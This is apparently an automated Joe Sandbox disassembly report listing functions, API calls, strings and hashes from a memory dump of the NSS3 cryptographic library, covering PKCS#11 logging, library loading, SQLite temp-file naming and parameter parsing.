PR_LogPrint.NSS3(C_GetTokenInfo), ref: 6C6428BD
PR_LogPrint.NSS3( pInfo = 0x%p,?), ref: 6C6428EF

Part of subcall function 6C7209D0: OutputDebugStringA.KERNEL32(?), ref: 6C720B88
Part of subcall function 6C7209D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C720C5D
Part of subcall function 6C7209D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C720C8D
Part of subcall function 6C7209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C720C9C
Part of subcall function 6C7209D0: OutputDebugStringA.KERNEL32(?), ref: 6C720CD1
Part of subcall function 6C7209D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C720CEC
Part of subcall function 6C7209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C720CFB
Part of subcall function 6C7209D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C720D16
Part of subcall function 6C7209D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C720D26
Part of subcall function 6C7209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C720D35
Part of subcall function 6C7209D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C720D65
Part of subcall function 6C7209D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C720D70
Part of subcall function 6C7209D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C720D90
Part of subcall function 6C7209D0: free.MOZGLUE(00000000), ref: 6C720D99

Part of subcall function 6C600F00: PR_GetPageSize.NSS3(6C600936,FFFFE8AE,?,6C5916B7,00000000,?,6C600936,00000000,?,6C59204A), ref: 6C600F1B
Part of subcall function 6C600F00: PR_NewLogModule.NSS3(clock,6C600936,FFFFE8AE,?,6C5916B7,00000000,?,6C600936,00000000,?,6C59204A), ref: 6C600F25

PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C6428D6

Part of subcall function 6C7209D0: PR_Now.NSS3 ref: 6C720A22
Part of subcall function 6C7209D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C720A35
Part of subcall function 6C7209D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C720A66
Part of subcall function 6C7209D0: PR_GetCurrentThread.NSS3 ref: 6C720A70
Part of subcall function 6C7209D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C720A9D
Part of subcall function 6C7209D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C720AC8
Part of subcall function 6C7209D0: PR_vsmprintf.NSS3(?,?), ref: 6C720AE8
Part of subcall function 6C7209D0: EnterCriticalSection.KERNEL32(?), ref: 6C720B19
Part of subcall function 6C7209D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C720B48
Part of subcall function 6C7209D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C720C76
Part of subcall function 6C7209D0: PR_LogFlush.NSS3 ref: 6C720C7E

PR_LogPrint.NSS3( label = "%.32s",?), ref: 6C642963
PR_LogPrint.NSS3( manufacturerID = "%.32s",?), ref: 6C642983
PR_LogPrint.NSS3( model = "%.16s",?), ref: 6C6429A3
PR_LogPrint.NSS3( serial = "%.16s",?), ref: 6C6429C3
PR_LogPrint.NSS3( flags = %s %s %s %s,CKF_RNG,CKF_WRITE_PROTECTED,CKF_LOGIN_REQUIRED,?), ref: 6C642A26
PR_LogPrint.NSS3( maxSessions = %u, Sessions = %u,?,?), ref: 6C642A48
PR_LogPrint.NSS3( maxRwSessions = %u, RwSessions = %u,?,?), ref: 6C642A66
PR_LogPrint.NSS3( hardware version: %d.%d,?,?), ref: 6C642A8E
PR_LogPrint.NSS3( firmware version: %d.%d,?,?), ref: 6C642AB6

Strings

CKF_USER_PIN_INIT, xrefs: 6C6429E5
manufacturerID = "%.32s", xrefs: 6C64297E
pInfo = 0x%p, xrefs: 6C6428EA
CKF_LOGIN_REQUIRED, xrefs: 6C6429F3, 6C642A1E
slotID = 0x%x, xrefs: 6C6428D1
nrl, xrefs: 6C64290B, 6C642937
maxRwSessions = %u, RwSessions = %u, xrefs: 6C642A61
CKF_RNG, xrefs: 6C642A13, 6C642A20
CKF_WRITE_PROTECTED, xrefs: 6C6429FE, 6C642A1F
flags = %s %s %s %s, xrefs: 6C642A21
hardware version: %d.%d, xrefs: 6C642A89
firmware version: %d.%d, xrefs: 6C642AB1
C_GetTokenInfo, xrefs: 6C6428B8
maxSessions = %u, Sessions = %u, xrefs: 6C642A43
label = "%.32s", xrefs: 6C64295E
serial = "%.16s", xrefs: 6C6429BE
model = "%.16s", xrefs: 6C64299E

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Print$DebugOutputString$fflushfwrite$R_snprintf$CriticalCurrentEnterExplodeFlushModulePageR_vsmprintfR_vsnprintfSectionSizeThreadTimefputcfreememcpy
String ID: firmware version: %d.%d$ flags = %s %s %s %s$ hardware version: %d.%d$ label = "%.32s"$ manufacturerID = "%.32s"$ maxRwSessions = %u, RwSessions = %u$ maxSessions = %u, Sessions = %u$ model = "%.16s"$ pInfo = 0x%p$ serial = "%.16s"$ slotID = 0x%x$CKF_LOGIN_REQUIRED$CKF_RNG$CKF_USER_PIN_INIT$CKF_WRITE_PROTECTED$C_GetTokenInfo$nrl
API String ID: 2460313690-4250079306
Opcode ID: b137dc50be5a676594b11b59714a747eaef782b382135c9f8ebf24f2c19d62c9
Instruction ID: 21536483ecb3c3543ad9fad599e8c161ae35e82ef7fa325f07196c77b92c5b22
Opcode Fuzzy Hash: b137dc50be5a676594b11b59714a747eaef782b382135c9f8ebf24f2c19d62c9
Instruction Fuzzy Hash: 775114B0200058EFEB019B50CE8DB593BA5BB42219F49C074ED59DBA12EF31D948CB76

Function 6C600AA0 Relevance: 45.7, APIs: 24, Strings: 2, Instructions: 227libraryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C600AD4

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

PR_EnterMonitor.NSS3 ref: 6C600B0D
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 6C600B2E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 6C600B54
WideCharToMultiByte.KERNEL32 ref: 6C600B94
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C600BC9
calloc.MOZGLUE(00000001,00000014), ref: 6C600BEA
LoadLibraryExW.KERNEL32(?,00000000,?), ref: 6C600C15

Strings

error %d, xrefs: 6C600D08
Loaded library %s (load lib), xrefs: 6C600D6F

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ByteCharMultiWide$EnterErrorLibraryLoadMonitorValuecalloc
String ID: Loaded library %s (load lib)$error %d
API String ID: 2139286163-2368894446
Opcode ID: 0a2fb7096e6b604a1909dd290292577687d7fb2fa2ea07290d347a7594581791
Instruction ID: 42df4c2dbf6a736dd533627ed99842f4027d3761f9b8470443967a3773200c23
Opcode Fuzzy Hash: 0a2fb7096e6b604a1909dd290292577687d7fb2fa2ea07290d347a7594581791
Instruction Fuzzy Hash: A0711770B042549BEF149F39CE48BAB77B8EF46319F044179E809E7641EB309E44CBA9

Function 6C6E6E50 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C59CA30: EnterCriticalSection.KERNEL32(?,?,?,6C5FF9C9,?,6C5FF4DA,6C5FF9C9,?,?,6C5C369A), ref: 6C59CA7A
Part of subcall function 6C59CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C59CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C5ABE66), ref: 6C6E6E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C5ABE66), ref: 6C6E6E98
sqlite3_snprintf.NSS3(?,00000000,6C74AAF9,?,?,?,?,?,?,6C5ABE66), ref: 6C6E6EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C5ABE66), ref: 6C6E6ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C5ABE66), ref: 6C6E6EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C5ABE66), ref: 6C6E6F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C5ABE66), ref: 6C6E6F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C5ABE66), ref: 6C6E6F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C5ABE66), ref: 6C6E6FA6
sqlite3_snprintf.NSS3(?,00000000,6C74AAF9,00000000,?,?,?,?,?,?,?,6C5ABE66), ref: 6C6E6FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C5ABE66), ref: 6C6E6FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C5ABE66), ref: 6C6E6FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C5ABE66), ref: 6C6E7014
sqlite3_free.NSS3(00000000,?,?,?,?,6C5ABE66), ref: 6C6E701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C5ABE66), ref: 6C6E7030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C5ABE66), ref: 6C6E705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C5ABE66), ref: 6C6E7079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C5ABE66), ref: 6C6E7097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C5ABE66), ref: 6C6E70A0

Strings

Prl, xrefs: 6C6E70A8
winGetTempname4, xrefs: 6C6E7046
winGetTempname1, xrefs: 6C6E708F
winGetTempname2, xrefs: 6C6E70C4
winGetTempname5, xrefs: 6C6E7071
mz_etilqs_, xrefs: 6C6E6F18

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: Prl$mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-107464401
Opcode ID: 256a340b726e376b7d55dbf1770e18076e6dd999d3890258125830a6fb541074
Instruction ID: e77c3aedeb073c0cde99337bdebd2a728fd4c9a357a7aa04abe1239a653ba388
Opcode Fuzzy Hash: 256a340b726e376b7d55dbf1770e18076e6dd999d3890258125830a6fb541074
Instruction Fuzzy Hash: 3A518BB1B092155BE31096309C55FFB36269FC631CF144539E90597BC2FF25E90E82DA

Function 6C648E50 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C648E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C648EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C648EB3

Part of subcall function 6C72D930: PL_strncpyz.NSS3(?,?,?), ref: 6C72D963

PR_LogPrint.NSS3(?,00000000), ref: 6C648EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C648EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C648F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C648F29
PR_LogPrint.NSS3(?,00000000), ref: 6C648F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C648F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C648F80
PR_LogPrint.NSS3(?,00000000), ref: 6C648F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C648FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C648FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C649047

Strings

pWrappedKey = 0x%p, xrefs: 6C648FAD
nrl, xrefs: 6C648FEC, 6C649023
pulWrappedKeyLen = 0x%p, xrefs: 6C648FC8
C_WrapKey, xrefs: 6C648E71
pMechanism = 0x%p, xrefs: 6C648EE0
hSession = 0x%x, xrefs: 6C648E8E, 6C648E9E
(CK_INVALID_HANDLE), xrefs: 6C648EAC, 6C648F1F, 6C648F79
*pulWrappedKeyLen = 0x%x, xrefs: 6C649042
hWrappingKey = 0x%x, xrefs: 6C648F01, 6C648F11
hKey = 0x%x, xrefs: 6C648F5B, 6C648F6B

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey$nrl
API String ID: 1003633598-3473668957
Opcode ID: 379b5292bba09c64cf63b2b6cc57dc635506e182467b019256710157987c20b6
Instruction ID: 665b1e91f3a391e74f62c08ea34ffaf2ae41e05b77b47fff14c97301bd5fee89
Opcode Fuzzy Hash: 379b5292bba09c64cf63b2b6cc57dc635506e182467b019256710157987c20b6
Instruction Fuzzy Hash: 4851D731601128EFDB019F509E4CF9A7B76BB4635DF04C035F509A7A22DB359918CBAA

Function 6C674FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6275C2,00000000,00000000,00000001), ref: 6C675009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6275C2,00000000), ref: 6C675049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C67505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C675071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C675089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6750A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C6750B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6275C2), ref: 6C6750CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6750D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C6750F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C675103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C67511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C67512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C675145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C675153
free.MOZGLUE(?), ref: 6C67516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C67517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C675195

Strings

parameters=, xrefs: 6C67506B
config=, xrefs: 6C67509B
nss=, xrefs: 6C675083
name=, xrefs: 6C675057
library=, xrefs: 6C675043

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 8e6314da201cc0041e668473dbd888ac26b3842d8cbbc42e8ad09a5f54af5a3c
Instruction ID: 4e766a4d252ad797df2f99a5f9b54ee40009e7159654dc8fa8ba8dd8e64ccd4c
Opcode Fuzzy Hash: 8e6314da201cc0041e668473dbd888ac26b3842d8cbbc42e8ad09a5f54af5a3c
Instruction Fuzzy Hash: EF51C8B1A112055BEB10DF24DC45AAF37A8AF06349F140870EC15E7741EB25E919CBBB

Function 6C674C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C664F51,00000000), ref: 6C674C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C664F51,00000000), ref: 6C674C5B
PR_smprintf.NSS3(6C74AAF9,?,0000002F,?,?,?,00000000,00000000,?,6C664F51,00000000), ref: 6C674C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C664F51,00000000), ref: 6C674CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C674CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C674CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C674D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C664F51,00000000), ref: 6C674D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C664F51,00000000), ref: 6C674D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C674D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C674DA2
free.MOZGLUE(?), ref: 6C674DB9
free.MOZGLUE(00000000), ref: 6C674DCF

Strings

rust, xrefs: 6C674D22
any, xrefs: 6C674C96
every, xrefs: 6C674CA1
rootFlags, xrefs: 6C674D47
slotFlags, xrefs: 6C674D34
%s,%s, xrefs: 6C674C4B
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C674D9D
0x%08lx=[%s %s], xrefs: 6C674D80
ootT, xrefs: 6C674D1A
timeout, xrefs: 6C674C91

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 91828d12aa2b41ecf7d33d97188a1532e42cbce0f6e434f763affd6d66b437d1
Instruction ID: c5a552fa739d5fc2cd14f5e10098579097c97ffe62e533774de25e7fae27be18
Opcode Fuzzy Hash: 91828d12aa2b41ecf7d33d97188a1532e42cbce0f6e434f763affd6d66b437d1
Instruction Fuzzy Hash: 35419EB1900141ABDB329F259D486BB36A9AF8234CF158534EC1547701E771D914CFFB

Function 6C644950 Relevance: 38.7, APIs: 13, Strings: 9, Instructions: 170COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_CopyObject), ref: 6C644976
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C6449A7
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C6449B6

Part of subcall function 6C72D930: PL_strncpyz.NSS3(?,?,?), ref: 6C72D963

PR_LogPrint.NSS3(?,00000000), ref: 6C6449CC
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C6449FA
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C644A09
PR_LogPrint.NSS3(?,00000000), ref: 6C644A1F
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C644A40
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C644A5C
PR_LogPrint.NSS3( phNewObject = 0x%p,?), ref: 6C644A7C
PL_strncpyz.NSS3(?, *phNewObject = 0x%x,00000050), ref: 6C644B17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C644B26
PR_LogPrint.NSS3(?,00000000), ref: 6C644B3C

Strings

hObject = 0x%x, xrefs: 6C6449E4, 6C6449F4
phNewObject = 0x%p, xrefs: 6C644A77
nrl, xrefs: 6C644AA6, 6C644ADC
ulCount = %d, xrefs: 6C644A57
pTemplate = 0x%p, xrefs: 6C644A39
*phNewObject = 0x%x, xrefs: 6C644B01, 6C644B11
hSession = 0x%x, xrefs: 6C644991, 6C6449A1
(CK_INVALID_HANDLE), xrefs: 6C6449AF, 6C644A02, 6C644B1F
C_CopyObject, xrefs: 6C644971

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *phNewObject = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ phNewObject = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_CopyObject$nrl
API String ID: 1003633598-1087943177
Opcode ID: 4b88f0db9c575f5d62d31fc2228ea435433646fd57d8b3fd1967ad6948aba402
Instruction ID: 83fe14379533480cb1a5bb2a2759b5278143efdb815ec7c967a6d4c9405436fd
Opcode Fuzzy Hash: 4b88f0db9c575f5d62d31fc2228ea435433646fd57d8b3fd1967ad6948aba402
Instruction Fuzzy Hash: 8751A171601128EFDB01DF548E8EFAA7B75AB4235DF04C034E80967A12CB649918CBBE

Function 6C656910 Relevance: 38.6, APIs: 15, Strings: 7, Instructions: 131COMMON

Download Yara Rule

APIs

NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C656943

Part of subcall function 6C674210: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,D94791F6,flags,?,00000000,?,6C655947,flags,printPolicyFeedback,?,?,?,?,?,?,00000000), ref: 6C674220
Part of subcall function 6C674210: NSSUTIL_ArgGetParamValue.NSS3(?,GYel,?,?,?,?,?,?,00000000,?,00000000,?,6C657703,?,00000000,00000000), ref: 6C67422D
Part of subcall function 6C674210: PL_strncasecmp.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C657703), ref: 6C67424B
Part of subcall function 6C674210: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C657703,?,00000000), ref: 6C674272

NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C656957
NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C656972
NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C656983

Part of subcall function 6C673EA0: isspace.API-MS-WIN-CRT-STRING-L1-1-0(8914C483,70E85609,6C64C79F,?,6C656247,70E85609,?,?,6C64C79F,6C65781D,?,6C64BD52,00000001,70E85609,D85D8B04,?), ref: 6C673EB8

PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C6569AA
PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C6569BE
PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C6569D2
NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C6569DF

Part of subcall function 6C674020: isspace.API-MS-WIN-CRT-STRING-L1-1-0(FFFFEF69,00000000,?,?,766B4C80,?,6C6750B7,?), ref: 6C674041

free.MOZGLUE(00000000), ref: 6C6569F6
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6C656A04
free.MOZGLUE(00000000), ref: 6C656A1B
NSSUTIL_ArgFetchValue.NSS3(-0000000B,?), ref: 6C656A29
free.MOZGLUE(00000000), ref: 6C656A3F
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6C656A4D
NSSUTIL_ArgStrip.NSS3(?), ref: 6C656A5B

Strings

readOnly, xrefs: 6C65693D
